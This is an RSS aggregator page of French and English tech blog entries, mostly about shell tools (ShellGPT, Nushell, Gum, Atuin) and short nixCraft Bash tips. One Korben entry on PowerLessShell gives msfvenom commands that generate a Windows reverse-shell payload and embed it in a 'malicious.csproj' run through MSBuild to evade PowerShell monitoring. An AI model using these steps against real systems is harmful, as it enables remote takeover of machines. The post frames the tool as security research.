Lateo.net - Flux RSS en pagaille (pour en ajouter : @ moi)

🔒
❌ À propos de FreshRSS
Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierInformatique & geek

L’acteur iranien présumé UNC1549 cible les secteurs de l’aérospatiale et de la défense d’Israël et du Moyen-Orient

Activité d'espionnage suspectée d'être liée à l'Iran. Elle viseraut les secteurs de l'aérospatiale, de l'aviation et de la défense dans les pays du Moyen-Orient, notamment Israël et les Émirats Arabes Unis, et potentiellement la Turquie, l'Inde et l'Albanie....

Learn How to Automate Admin Tasks With 6 PowerShell Courses for $19.99

Scripting with PowerShell allows you to automate basic server admin and GUI-based tasks, meaning you have more time to spend on key business decisions.

ShellGPT – Boostez votre utilisation du terminal grâce

Par : Korben

Je me lasse pas de tous ces petits softs qui utilisent de l’IA et qui simplifient quand même grandement la vie. Hier on a vu un plugin VS Code pour coder plus rapidement. Et aujourd’hui, je vous propose Shell GPT, un assistant personnel qui utilise ChatGPT pour vous aider à générer des commandes shell, des bouts de code et même de la documentation.

Pour l’installer, c’est easy :

pip install shell-gpt

Il faudra quand même faire un export OPENAI_API_KEYcomme d’habitude dans votre .zshrc ou .bashrc pour lui indiquer votre clé API OpenAI. Et redémarrez votre terminal pour que les modifications prennent effet.

export OPENAI_API_KEY="votre_clé_API_OpenAI"

Une fois installé, ça fait plein de trucs cool. Vous pouvez simplement exécuter la commande sgpt suivie de votre requête pour lui demander tout ce que vous voulez. Par exemple, pour rechercher les couleurs d’un arc-en-ciel, vous pouvez exécuter la commande suivante :

sgpt "quelles sont les couleurs d'un arc-en-ciel ?"

Mais vous pouvez surtout lui demander des commandes que vous ne sauriez pas construire. Par exemple :

sgpt "VOTRE DEMANDE"

Ou pour avoir une réponse plus directe avec uniquement du code, il suffit d’ajouter le paramètre –code :

sgpt --code "VOTRE DEMANDE"

Pour ceux qui veulent, vous pouvez même lancer votre demande en mode shell pour pouvoir l’exécuter de suite :

sgpt --shell "VOTRE DEMANDE"

Et pour aller encore plus loin, vous pouvez aussi le lancer en mode « chat ». S’engagera alors une discussion sur le long cours, avec possibilité de créer des fichiers, de les modifier, de lancer des commandes, etc… Remplacez NOM_SESSION par le titre à donner à votre chat, pour pouvoir ensuite y retourner en gardant le contexte.

sgpt --chat NOM_SESSION "VOTRE DEMANDE"

ShellGPT offre aussi d’autres fonctionnalités avancées, notamment le REPL mode qui permet d’interagir avec ShellGPT dans un mode interactif pour générer du code et exécuter des commandes (en appuyant sur la touche « e »

sgpt --shell --repl NOM_SESSION

Et vous pouvez aussi créer des rôles personnalisés pour personnaliser le comportement de ShellGPT dans des scénarios spécifiques, selon vos envies. Je vous invite à vous plonger dans la doc pour exploiter tout ça. Ça fait beaucoup de choses mais c’est super pratique et ça vous aidera à automatiser pas mal de choses.

Enfin, et je terminerai avec ça, il est possible d’installer une intégration dans votre shell.

sgpt --install-integration

En gros, ça va ajouter quelques lignes dans votre .bashrc ou .zshrc pour simplement en appuyant sur

CTRL + l

transformer ce que vous avez écrit dedans en commande exécutable.

Voilà, j’ai à peu pres fait le tour de cet outil merveilleux !

L’IA c’est cool mais quand c’est bien intégré dans nos outils du quotidien, c’est encore meilleur !

ShellGPT est à découvrir ici.

Nushell – Le Shell révolutionnaire multi-plateforme

Par : Korben

Nushell est un nouveau type de shell développé en Rust qui rend l’utilisation du terminal encore plus fun et bien sûr plus « productive ». Conçu pour fonctionner sur Linux, macOS, BSD et Windows, Nushell offre des fonctionnalités impressionnantes grâce à ses pipelines, ses plugins et sa compatibilité avec JSON, YAML, SQLite, Excel, etc.

Nushell utilise des pipelines pour contrôler n’importe quel système d’exploitation. Les pipelines de Nu utilisent des données structurées, ce qui permet de sélectionner, filtrer et trier les données en toute sécurité. Pour mieux comprendre, c’est assez similaire à la philosophie Unix où les commandes produisent une sortie stdout et récupèrent de la donnée à partir de stdin – sauf que les commandes Nu peuvent également produire des données structurées. C’est ultra puissant !

Les pipelines de Nu sont composés de commandes regroupées en trois catégories: celles qui produisent un flux (comme des sources de données), celles qui filtrent un flux et celles qui consomment la sortie du pipeline. Les commandes sont séparées par le symbole du pipe (|) pour indiquer un pipeline allant de gauche à droite.

Nushell peut, comme je le disais, travailler avec des données existantes telles que JSON, YAML, SQLite, Excel…etc. Nu est donc capable de prendre en entrée des fichiers et des URL en tant que texte brut ou données structurées.

Et pour ceux qui aiment étendre les fonctionnalités de leur shell, Nushell offre un système de plugins plutôt puissant. Les plugins sont proposés sous la forme de binaires et sont capables d’interagir avec Nushell via un protocole JSON-RPC simple. Les plugins peuvent alors se comporter comme des filtres ou des récepteurs (‘sink’), et ils peuvent traiter les données ou les consommer comme bon leur semble.

Par ailleurs, il existe un dépôt appelé awesome-nu qui répertorie une variété de plugins Nushell ainsi que le dépôt showcase qui présente des tutos et des vidéos techniques sur Nushell, pour vous aider à le prendre en main.

Si vous souhaitez essayer Nushell, vous pouvez le télécharger via les gestionnaires de paquets de votre système ou récupérer directement son code source (ou en tant qu’action GitHub). La documentation officielle se trouve ici.

Puis une fois que vous avez installé Nushell, il suffit de taper la commande nu pour le lancer.

En conclusion, je ne peux que vous recommander d’essayer Nushell et de profiter de ses fonctionnalités. Comme le disait le philosophe Socrate, ‘La vie sans un bon vieux shell ne vaut pas la peine d’être vécue’. Alors, pourquoi ne pas explorer le monde des pipelines, des plugins et des données structurées que Nushell propose ?

Vous pourriez bien être surpris par l’impact que cela aura sur votre manière de bosser.

À découvrir ici : http://www.nushell.sh

How to get and extract filename extension in Bash

Par : Vivek Gite
See all GNU/Linux related FAQ

I have a valuable tip for you on extracting the filename and extension in Bash when using Linux, macOS, FreeBSD, or Unix-like systems. It's quick and easy to follow.

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post How to get and extract filename extension in Bash appeared first on nixCraft.

How to check for ssh connectivity in a shell script

Par : Vivek Gite
See all UNIX related articles/faq

Let us see how to check for ssh connectivity in a shell script running under macOS, FreeBSD, or Linux/Unix desktop using BatchMode=yes and ConnectTimeout=$VALUE options. This simple trick helps write a wrapper script that does other things, such as making a backup or running external command agents such as Salt or Ansible to do other tasks.

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post How to check for ssh connectivity in a shell script appeared first on nixCraft.

Gum – Un outil pour écrire des scripts en un clin d’oeil

Par : Korben

Voici un outil fantastique nommé Gum qui va vous permettre d’écrire des scripts Shell et de gérer vos dotfiles en quelques lignes de code seulement, et après l’avoir testé, je suis sûr que vous ne pourrez plus vous en passer.

Voici un exemple de ce qu’il est possible de faire avec Gum :

Et voici le code associé :

#!/bin/bash

gum style --border normal --margin "1" --padding "1 2" --border-foreground 212 "Hello, there! Welcome to $(gum style --foreground 212 'Gum')."
NAME=$(gum input --placeholder "What is your name?")

echo -e "Well, it is nice to meet you, $(gum style --foreground 212 "$NAME")."

sleep 2; clear

echo -e "Can you tell me a $(gum style --italic --foreground 99 'secret')?\n"

gum write --placeholder "I'll keep it to myself, I promise!" > /dev/null # we keep the secret to ourselves

clear; echo "What should I do with this information?"; sleep 1

READ="Read"; THINK="Think"; DISCARD="Discard"
ACTIONS=$(gum choose --cursor-prefix "[ ] " --selected-prefix "[✓] " --no-limit "$READ" "$THINK" "$DISCARD")

clear; echo "One moment, please."

grep -q "$READ" <<< "$ACTIONS" && gum spin -s line --title "Reading the secret..." -- sleep 1
grep -q "$THINK" <<< "$ACTIONS" && gum spin -s pulse --title "Thinking about your secret..." -- sleep 1
grep -q "$DISCARD" <<< "$ACTIONS" && gum spin -s monkey --title " Discarding your secret..." -- sleep 2

sleep 1; clear

echo "What's your favorite $(gum style --foreground 212 "Gum") flavor?"
GUM=$(echo -e "Cherry\nGrape\nLime\nOrange" | gum filter)
echo "I'll keep that in mind!"

sleep 1; clear

echo "Do you like $(gum style --foreground "#04B575" "Bubble Gum?")"
sleep 1

CHOICE=$(gum choose --item.foreground 250 "Yes" "No" "It's complicated")

[[ "$CHOICE" == "Yes" ]] && echo "I thought so, $(gum style --bold "Bubble Gum") is the best." || echo "I'm sorry to hear that."

sleep 1

gum spin --title "Chewing some $(gum style --foreground "#04B575" "$GUM") bubble gum..." -- sleep 5

clear

NICE_MEETING_YOU=$(gum style --height 5 --width 25 --padding '1 3' --border double --border-foreground 57 "Well, it was nice meeting you, $(gum style --foreground 212 "$NAME"). Hope to see you soon!")
CHEW_BUBBLE_GUM=$(gum style --width 25 --padding '1 3' --border double --border-foreground 212 "Don't forget to chew some $(gum style --foreground "#04B575" "$GUM") bubble gum.")
gum join --horizontal "$NICE_MEETING_YOU" "$CHEW_BUBBLE_GUM"

Pour l’installer, vous pouvez le faire soit avec un gestionnaire de paquets ou en le téléchargeant directement. Des packages sont d’ailleurs disponibles pour Debian, RPM et Alpine, ainsi que des binaires pour Linux, macOS (brew install gum), Windows (scoop install charm-gum), FreeBSD, OpenBSD et NetBSD.

Et si vous préférez, vous pouvez même l’installer à l’aide de Go. Personnellement, j’adore le côté flexible de Gum : il peut être intégré dans des scripts et adapté à votre convenance grâce aux options de configuration et aux variables d’environnement, ce qui vous permet par exemple de personnaliser la couleur du curseur ou la largeur de l’affichage.

La documentation est très complète à ce sujet.

Ainsi, la commande « gum input » permet de demander une entrée à l’utilisateur, tandis que « gum write » fonctionne pour une entrée multi-ligne.

Envie de filtrer une liste de valeurs en utilisant la correspondance floue ? Gum est là pour ça avec « gum filter« . Et si vous avez besoin d’aide pour choisir une option à partir d’une liste de choix, « gum choose » sera votre meilleur allié.

Même la commande « gum confirm » rend la vie plus simple en demandant si une action doit être effectuée ou non. J’apprécie également énormément l’option « gum file« , qui me permet de sélectionner un fichier directement depuis l’arborescence des fichiers, et la commande « gum spin » ne manque pas de me rappeler que Gum travaille fort fort fort pour moi en affichant un spinner (vous savez, le petit cercle qui tourne pour vous faire patienter) pendant qu’une commande ou un script s’exécute.

Voici un autre exemple de code :

#!/bin/sh
TYPE=$(gum choose "fix" "feat" "docs" "style" "refactor" "test" "chore" "revert")
SCOPE=$(gum input --placeholder "scope")

# Since the scope is optional, wrap it in parentheses if it has a value.
test -n "$SCOPE" && SCOPE="($SCOPE)"

# Pre-populate the input with the type(scope): so that the user may change it
SUMMARY=$(gum input --value "$TYPE$SCOPE: " --placeholder "Summary of this change")
DESCRIPTION=$(gum write --placeholder "Details of this change (CTRL+D to finish)")

# Commit these changes
gum confirm "Commit changes?" && git commit -m "$SUMMARY" -m "$DESCRIPTION"

Et le rendu dans le terminal :

Outre ces commandes de base, Gum propose également une panoplie d’options pour s’adapter à vos besoins spécifiques. Les différents types de spinner incluent ligne, point, minidot, saut, impulsion, points, globe, lune, un singe (!), mètre et même un hamburger. La commande de tableau est très pratique pour sélectionner des données tabulaires, tandis que le style et la mise en page sont personnalisables à loisir pour combiner texte de manière verticale ou horizontale, ou encore pour traiter et formater les paragraphes. Pour plus d’informations sur les modèles, pensez encore une fois à consulter la documentation.

Mais ce qui fait vraiment la force de Gum, c’est sa capacité à être intégré à diverses tâches du quotidien. Qui n’a jamais souhaité écrire un message de commit en un instant, ouvrir des fichiers dans son éditeur de texte préféré, se connecter à une session TMUX, sélectionner un hash de commit dans son historique Git, choisir des mots de passe avec Skate, ou encore supprimer des branches en deux temps trois mouvements ?

Un tour d’horizon des exemples du répertoire Gum vous convaincra d’autant plus de l’intérêt de cet outil.

Gum est à découvrir ici !

PowerLessShell – Exécutez des Scripts PowerShell sans powershell.exe

Par : Korben

PowerLessShell est un outil incroyable pour les passionnés de PowerShell et de sécurité informatique. Qui aurait cru qu’on pouvait exécuter des scripts et des commandes PowerShell sans même lancer powershell.exe ? Et pour couronner le tout, il permet également d’exécuter du shellcode brut ! C’est de la sorcellerie !

La puissance de cet outil réside dans son utilisation de MSBuild.exe. La combinaison des deux permet d’obtenir un résultat vraiment cool pour les pro du Powershell. Certaines conditions peuvent être utilisées avec MSBuild pour empêcher l’exécution du code si elles ne sont pas remplies, ce qui ajoute une couche de sécurité.

La beauté de PowerLessShell, c’est qu’il utilise des arguments de ligne de commande pour générer le fichier final et il peut générer une charge utile PowerShell ou shellcode. C’est donc très utile également pour les pros en sécurité informatique.

Le concept est très bien expliqué avec des exemples concrets comme celui-ci :

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Le processus est assez simple et direct, même pour ceux qui n’ont pas beaucoup d’expérience avec PowerShell ou MSBuild.

Et ce n’est pas tout ! Un script nommé Cobalt Strike Aggressor (wmi_msbuild.cna) est également disponible avec des instructions pour la configuration et l’utilisation. Si vous n’avez jamais entendu parler de Cobalt Strike, c’est une plateforme de post-exploitation professionnelle de qualité militaire.

Le plus impressionnant, c’est que tout ceci a été mis au point par une seule personne : Mr.Un1k0d3r.

Alors, comment utiliser ce merveilleux outil en pratique ?

Voici un exemple d’utilisation de PowerLessShell pour générer un shellcode avec l’outil msfvenom de Metasploit et ensuite l’exécuter avec MSBuild :

msfvenom -a x64 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1234 -b '\\x00\\x0A\\x0D' -i 20 -f csharp

Ensuite, utilisez PowerLessShell pour injecter le shellcode dans un fichier MSBuild :

PowerLessShell.exe -s <shellcode> -w 20

Finalement, exécutez le fichier malveillant avec MSBuild :

MSBuild.exe malicious.csproj

Voilà, le tour est joué ! Il vous suffira d’écouter la connexion entrante shell_reverse_tcp sur votre serveur pour guetter la connexion du client malveillant et prendre le contrôle. C’est un exemple simple mais puissant de ce que PowerLessShell peut faire. Evidemment, c’est à manipuler avec éthique, dans un cadre de recherche ou lors d’une mission de sécurité informatique.

En conclusion, que vous soyez un professionnel de la sécurité informatique ou simplement quelqu’un qui aime bidouiller et apprendre, cet outil vous surprendra à coup sûr. N’hésitez pas à visiter le GitHub de PowerLessShell pour en savoir plus ici.

Just – Un outil puissant pour lancer les commandes de vos projets

Par : Korben

Just est un gestionnaire de commandes qui permet aux utilisateurs d’enregistrer et d’exécuter des commandes spécifiques à un projet. Les commandes, appelées recettes (recipes en anglais), sont stockées dans un fichier nommé justfile, dont la syntaxe est inspirée de make.

Just présente de nombreuses fonctionnalités utiles et des améliorations par rapport à make, notamment la prise en charge de Linux, MacOS et Windows sans dépendances supplémentaires, des rapports d’erreurs spécifiques et détaillés, et la possibilité d’accepter des arguments lors de son utilisation avec la ligne de commande.

De plus, Just peut être invoqué depuis n’importe quel sous-répertoire, et pas seulement le répertoire contenant le justfile. Les recettes peuvent être écrites dans des langages comme Python ou NodeJS, et les erreurs sont résolues de manière statique chaque fois que c’est possible.

L’outil prend également en charge le chargement des variables d’environnement à partir de fichiers .env, l’énumération des recettes à partir de la ligne de commande et les scripts de complétion de ligne de commande pour la des coquilles courantes.

Pour plus d’informations sur Just et ses fonctionnalités, visitez le site officiel ou la documentation officielle. Des exemples se trouvent également sur le dépôt GitHub.

Et si vous avez besoin d’aide, n’hésitez pas à ouvrir une issue sur Github ou à contacter le développeur sur Discord.

Lorsque vous travaillez avec des scripts shell, gardez à l’esprit que chaque ligne est exécutée dans un shell nouvellement créé. Cela signifie que si vous changez de répertoire courant via une commande, cela n’affectera pas les autres lignes de commande.

Une autre astuce utile consiste à utiliser le symbole « @ » pour empêcher l’affichage des commandes. Par exemple, si vous voulez exécuter une commande et simplement afficher « C’est fait ! » sans montrer la commande réelle, vous pouvez utiliser la syntaxe suivante :

hello: @echo 'C Fait !'

Si également, vous souhaitez en savoir plus sur la conception de scripts shell, consultez ce lien. Et si vous avez trouvé cet article utile, pensez à soutenir le projet.

Source

Copilot CLI – Votre expert en shell à portée de main

Par : Korben

Voici un nouveau truc absolument fantastique si vous aimez l’IA : Copilot CLI ! Développé par Github, imaginez un terminal si puissant qu’il semble lire dans vos pensées et comprendre tout ce que vous voulez faire.

Copilot CLI est cette petite révolution qui nous attend tous parce qu’il est capable de concevoir des commandes shell complexes et des boucles que je n’aurais jamais pu imaginer sans y passer des heures. C’est comme si un expert en shell vivait à l’intérieur de votre terminal et vous chuchotait à l’oreille comment exécuter des commandes obscures que vous n’auriez jamais osé essayer auparavant.

Parfois on bute sur des problèmes insurmontables quand on est sur son terminal et maintenant, avec Copilot CLI, qui connait ces outils sur le bout des doigts, plus de problèmes !

En réalité, Copilot CLI dispose de trois commandes shell : ??, git? et gh?.

Voici comment elles fonctionnent :

  • ?? est un outil polyvalent pour les commandes shell arbitraires. Elle compose des commandes et des boucles, et utilise des indicateurs de recherche obscurs pour répondre à votre requête.
  • git? est spécifiquement utilisée pour chercher des invocations git. Par rapport à ??, elle est plus puissante pour générer des commandes Git, et vos requêtes peuvent être plus succinctes lorsque vous n’avez pas besoin d’expliquer que vous êtes dans le contexte de Git.
  • gh? combine la puissance de la commande CLI GitHub et de l’interface de requête avec la commodité de laisser l’IA générer pour vous les indicateurs compliqués et les expressions jq.

Pour l’instant, Copilot CLI est disponible alpha, mais vous pouvez vous inscrire sur la liste d’attente et recevoir une notification dès que vous aurez accès. À noter qu’il vous faudra également un accès à GitHub Copilot pour l’utiliser.

Grâce à ces alias, vous pourrez également exécuter les commandes générées directement dans votre terminal.

Préparez-vous et améliorez vos compétences en shell grâce à Copilot CLI. Nous sommes sur le point de voir des changements incroyables dans notre façon d’utiliser nos terminaux.

À découvrir ici

Shell – Le gestionnaire de menu contextuel qui manquait à Windows

Par : Korben

Hey, les Windowsiens, ça vous dirait aujourd’hui de personnaliser le menu contextuel de l’Explorateur de fichiers de votre OS préféré ?

Si vous êtes partant, il y a Shell, un outil qui va transformer votre menu contextuel (le menu qui en général s’affiche quand on fait un clic droit pour ceux qui se grattent la tête) en un véritable couteau suiiiisse !

Avec Shell, ce bon vieux temps où vous étiez condamné d’utiliser les options de base proposées par les ingénieurs de Microsoft est révolu. Vous allez pouvoir créer vos propres commandes pour accéder rapidement à vos sites Web favoris, à vos fichiers et dossiers, et même lancer vos applications directement depuis le menu contextuel.

Vous pourrez également modifier ou supprimer n’importe quel élément ajouté par le système ou tout logiciel tiers. Elle est pas belle la vie ?

Capture d'écran de l'interface utilisateur de Shell

Alors bien sûr c’est gratuit et Shell est compatible avec Microsoft Windows 7/8/10/11 (x86/x64/arm64).

Pour utiliser Shell, plusieurs options s’offrent à vous : Via l’installateur, en version portable ou via Windows Package Manager, Scoop ou encore Chocolatey. Choisissez celle qui vous plaît le plus et suivez les instructions qui vont bien. Tout est expliqué ici.

La documentation est top, il y a plein d’astuces pour l’utiliser également en ligne de commande.

Et si jamais vous trouvez encore le moyen de vous plaindre après ça, baaaah peut-être que vous devriez penser à passer à Linux. Juste une idée comme ça… lol

À télécharger ici.

Bash see if an input number is an integer or not

Par : Vivek Gite
See all Bash/Shell scripting related FAQ

While working on the bash shell script wrapper, I needed to ensure that I only passed an integer in the Bash script under Linux and Unix-like systems. Here is how to check if a number is an integer in Bash Linux or Unix script or at the command-line interface (CLI)

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post Bash see if an input number is an integer or not appeared first on nixCraft.

Automatiser les installations de Kali pour les pentesters qui ont la flemme

Par : Korben

Vous le savez, Kali est un Linux spécialisé pour la cybersécurité, qui permet de faire de l’analyse de vulnérabilité, du test d’intrusion, de l’analyse de paquets réseau, du reverse engineering et tout un tas d’autres trucs. Si vous êtes un pentester, vous l’utilisez probablement et vous savez que la création de VM Kali Linux pour chaque mission peut être une tâche un poil relou !

Heureusement, un nouveau projet open source baptisé Kali-automation-install va vous faciliter grandement la vie. Cet outil permet en effet de créer automatiquement une VM Kali Linux avec tous les outils nécessaires pré-installés dessus, le tout en utilisant un simple script bash qui peut être rapidement et facilement modifié. Cela permet de répondre à vos besoins spécifiques sur chacune de vos missions d’expert ;-).

Logo de Kali Linux, une distribution de pentesting basée sur Debian

Ce projet a été développé par sKillseries, un habitué du monde offensif cyber et permet aussi de configurer Kali en français pour qu’il fonctionne avec les deux hyperviseurs les plus courants : VirtualBox et VMware.

Pour l’utiliser, vous devrez d’abord installer packer ainsi que l’hyperviseur de votre choix (J’ai choisi Virtualbox pour l’exemple).

apt install packer virtualbox virtuabox-ext-pack

Ensuite, vous pouvez modifier les variables qui sont dans le fichier kali-var.json pour personnaliser votre VM Kali Linux.

{
    "iso_url": "<Lien de Téléchargement Kali-Linux>",
    "iso_checksum": "<SHA256Checksum de l'ISO>
}

Enfin, une fois ces modifications faites, vous pourrez initier la création de la VM avec une seule commande directement depuis votre terminal ou vos propres scripts.

packer build -var-file=kali-vars.json config-virtualbox.json

Vous pouvez même le faire en mode headless si vous le souhaitez (sans interaction) en ajoutant le paramètre suivant au fichier json de votre hyperviseur.

"headless": "1",

Vous trouverez toutes les infos sur ce projet sur sa page Github.

Atuin – Remplacez votre historique shell par une base SQLite et synchronisez le entre toutes vos machines

Par : Korben

Quand vous utilisez le terminal, il y a un truc formidable qui se remplit automatiquement, c’est l’historique du Shell. Cela permet de retrouver les lignes de commande que vous avez précédemment entrées. Mais cela n’est pas très pratique à explorer et surtout, si vous jonglez entre plusieurs machines, chacune a son historique et basta.

Grâce à l’outil Atiun, dont le nom provient d’une tortue géante dans la série de bouquins du Disque-Monde de Terry Pratchett, vous allez pouvoir remplacer l’historique de votre Shell actuel par une base de données SQLite. Ainsi, Atuin rajoutera du contexte supplémentaire à vos commandes et vous permettra d’effectuer rapidement des recherches parmi celles-ci.

De plus, grâce à son système de synchronisation optionnelle entièrement chiffré, votre historique pourra être partagé entre toutes vos sessions et vos machines via un serveur Atuin, ce qui est vachement pratique.

Vous pouvez télécharger Atuin ici.

GameShell – Un jeu » pour apprendre le shell Unix

Par : Korben

Ça vous dirait d’apprendre à utiliser Unix / GNU Linux un peu mieux tout en vous amusant ?

Et bien c’est ce que permet GameShell, un petit jeu mis au point par Pierre Hyvernat et Rodolphe Lepigre.

Ce jeu se lance dans le terminal et qui vous propose des missions d’exploration. Ces missions vous permettront de comprendre et d’apprendre la syntaxe des commandes Shell Unix de base.

Alors évidemment, c’est tout en anglais mais c’est très cool, et je suis certain que même les « experts » pourront en retirer un petit truc.

GameShell et ses explications sont à découvrir ici.

How to convert JSON to CSV using Linux / Unix shell

Par : Vivek Gite
See all Bash/Shell scripting related FAQ

Today I will talk about a common problem faced by many Linux or Unix sysadmins and developers. Typically modern apps and security devices heavily depend upon APIs and lists that feed data in JSON format. For example, a list of spamming or VPN CIDRs or a good list of verified bots' IP CIDRs is in JSON format. If they accept JSON format, you can take this list and upload it to your router or WAF. Unfortunately, not all devices accept JSON format. Hence, we can take JSON format and convert it to CSV format per our needs.

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post How to convert JSON to CSV using Linux / Unix shell appeared first on nixCraft.

How to trim leading and trailing white space in bash

Par : Vivek Gite
See all GNU/Linux related FAQ

So I have this specific use case where I get data in a comma-separated values (CSV) file. I pick up the company name, address, telephone, email, and some other data from that file. Once data is collected, I create a final pdf using a simple script. Unfortunately, data comes with unwanted leading and trailing white spaces in each field. So my final pdf file gets messed up because of those white space. Let us see how to trim leading and trailing white space for a string in Bash running on Linux or Unix machines.

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post How to trim leading and trailing white space in bash appeared first on nixCraft.

How to find and replace ALL IP addresses with a new one

Par : Vivek Gite
See all GNU/Linux related FAQ

At a certain point, I needed to change the VLAN IP address such as 172.0.0.2 with 172.0.0.1 for ease of use. As you know, Linux and Unix-like operating system stores all IP addresses and config in plain text files. This page explains my little adventure where I had to find and find and replace ALL IP addresses with a new one on Linux.

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post How to find and replace ALL IP addresses with a new one appeared first on nixCraft.

How to repeat a character ‘n’ times in Bash

Par : Vivek Gite
See all UNIX related articles/faq

Let us say you want to repeat a character such as '-' OR '=' multiple times while writing bash script. Please note that I needed a quick script to work on Linux, macOS, and FreeBSD server to repeat a string/character n times. One simple way to to repeat a string or character n times is simple use the echo command/printf command as follows:

echo '------------------------------------'
printf '%s\n' '------------------------------------'

Love this? sudo share_on: Twitter - Facebook - LinkedIn - Whatsapp - Reddit

The post How to repeat a character ‘n’ times in Bash appeared first on nixCraft.

How to check if file does not exist in Bash

Par : Vivek Gite
See all GNU/Linux related FAQ

How can I check if a file does not exist in a Bash script?

The post How to check if file does not exist in Bash appeared first on nixCraft.

How to check if bash variable defined in script

Par : Vivek Gite

I need to set a bash environment variable called PURGEIMAGE and take specific actions in my script. For example, if PURGEIMAGE set, then purge images from CDN else just URL. I am going to call my script as PURGEIMAGE=yes ./purgecache.sh url1 url2. So how do I know if a bash variable set at the CLI and used in my bash script running on Linux or Unix-like systems?

The post How to check if bash variable defined in script appeared first on nixCraft.

How to force awk not to print a newline

Par : Vivek Gite

I have two columns (fields) in my text file. I am trying to insert '|
FOO This is a description
BAR Another description for bar
TEXT Another description for TEXT

So I ran awk '{ print $1 "|"; $1=""; print}' input > output but print command is adding a new line:
FOO|
This is a description
BAR|
Another description for bar
TEXT|
Another description for TEXT

Is there any way to tell awk not to print a newline and create the file? Here is what I want so that I can create final HTML table based upon '|'
FOO|This is a description
BAR|Another description for bar
TEXT|Another description for TEXT

The post How to force awk not to print a newline appeared first on nixCraft.

How to install ShellCheck on FreeBSD – A shell script static analysis tool

Par : Vivek Gite

shellcheck demo on FreeBSD

ShellCheck is easy to use, free, and open-source static analysis tool that automatically finds bugs in your shell scripts. If you write shell scripts for automation or containers, you need this tool. Let us see how to install and use ShellCheck on the FreeBSD development Unix server.

The post How to install ShellCheck on FreeBSD – A shell script static analysis tool appeared first on nixCraft.

How to declare Boolean variables in bash and use them in a shell script

Par : Vivek Gite

I need to define a bash variable called failed and set the value to False. When my script is called from a cron job, specific tasks might fail, and then I need to flip failed to True. Based upon $failed, I need to send an email alert that my cron job has failed. So how can I declare and use Boolean variables in a shell script running on a Linux server?

The post How to declare Boolean variables in bash and use them in a shell script appeared first on nixCraft.

How to convert pdf to image on Linux command line

Par : Vivek Gite

I have many PDF files, and I need to convert them to a png file format, add a border to those images, and convert back all those images to pdf format. How can I convert pdf to image format on Linux and vice versa using the CLI?

The post How to convert pdf to image on Linux command line appeared first on nixCraft.

How to check TLS/SSL certificate expiration date from command-line

Par : Vivek Gite

How do I check the TLS/SSL certificate expiration date from my Linux or Unix shell prompt? How can I find the TLS certificate expiry date from Linux and Unix shell scripts?

The post How to check TLS/SSL certificate expiration date from command-line appeared first on nixCraft.

How to write the output into the file in Linux

Par : Vivek Gite

How do I write the output into the file in Linux bash shell? Can you explain I/O redirection for both bash and POSIX shell to write data to the file under Unix or Linux?

The post How to write the output into the file in Linux appeared first on nixCraft.

How to add days to date and get new date on Linux

Par : Vivek Gite

I brought eggs from the market, and it says best before 20 days from the date of packing. Say my egg box was packed on 29/July/2020. How do I add days to date using Linux CLI? I want to find out date 29/July/2020 + 20days using the CLI, and how do I do it?

The post How to add days to date and get new date on Linux appeared first on nixCraft.

Curl Shell Script To Purge Cache From Stackpath CDN

Par : Vivek Gite
A content delivery network or content distribution network (CDN) is a system of servers containing copies of data, placed at various points in a network so as to maximize bandwidth for access to the data from clients throughout the network. Please note that the following script will only work with Stackpath CDN. You need to get API access keys using stackpath portal.

How to find ulimit for user on Linux

Par : Vivek Gite

How can I find the correct ulimit values for a user account or process on Linux systems?

The post How to find ulimit for user on Linux appeared first on nixCraft.

How to extract tar.xz files in Linux and unzip all files

Par : Vivek Gite


How do I extract tar.xz files in Linux? Can you tell me command to unzip linux-5.6.13.tar.xz file? How can I uncompressing (or decompressing) all files in the current directory?

The post How to extract tar.xz files in Linux and unzip all files appeared first on nixCraft.

Nginx restore real IP address when behind a reverse proxy

Par : Vivek Gite

Nginx restore real IP address when nginx server is behind a reverse proxy

My Nginx web server is behind a reverse proxy server. How do I restore the original and real IP address of my client/visitors when behind a reverse proxy server such as AWS Cloudfront, Fastly, Cloudflare CDN/WAF?

The post Nginx restore real IP address when behind a reverse proxy appeared first on nixCraft.

How to sed remove last character from each line

Par : Vivek Gite

I need to remove the last character from a line and shell variable such as "${_allowed_ips}". For example, each line is as follows in my file:
foo,
bar,
demo,

I need output as follows:
foo
bar
demo
.
How can I use sed to delete the last character?

The post How to sed remove last character from each line appeared first on nixCraft.

How to save terminal output to a file under Linux/Unix

Par : Vivek Gite

How do I save the terminal output to a file when using BASH/KSH/CSH/TCSH under Linux, macOS, *BSD or Unix-like operating systems?

The post How to save terminal output to a file under Linux/Unix appeared first on nixCraft.

Linux Quiz

Par : Vivek Gite

Let us test your basic knowledge of Linux systems, including commands.

The post Linux Quiz appeared first on nixCraft.

Explain DEBIAN_FRONTEND apt-get variable for Ubuntu / Debian

Par : Vivek Gite

Can you explain DEBIAN_FRONTEND apt or apt-get variable? How and why I need to use this in Docker or shell scripts under a Debian and Ubuntu Linux?

The post Explain DEBIAN_FRONTEND apt-get variable for Ubuntu / Debian appeared first on nixCraft.

How to add bash auto completion in CentOS 8 Linux

Par : Vivek Gite

I set up a new cloud server, but my auto-completion of bash shell commands are not working. How do I enable autocomplete feature in CentOS 8 (CentOS Enterprise Linux 8)? How do I write simple bash completion code in CentOS 8?

The post How to add bash auto completion in CentOS 8 Linux appeared first on nixCraft.

Linux shell script to reduce PDF file size

Par : Vivek Gite
Here is a handy and useful Linux and Unix shell script that reduce PDF file size using Ghostscript. No need to upload your PDF file to the shady third-party website. Just do it from the terminal. I tested it with both CentOS and Ubuntu/Debian Linux.

How to return pid of a last command in Linux / Unix

Par : Vivek Gite

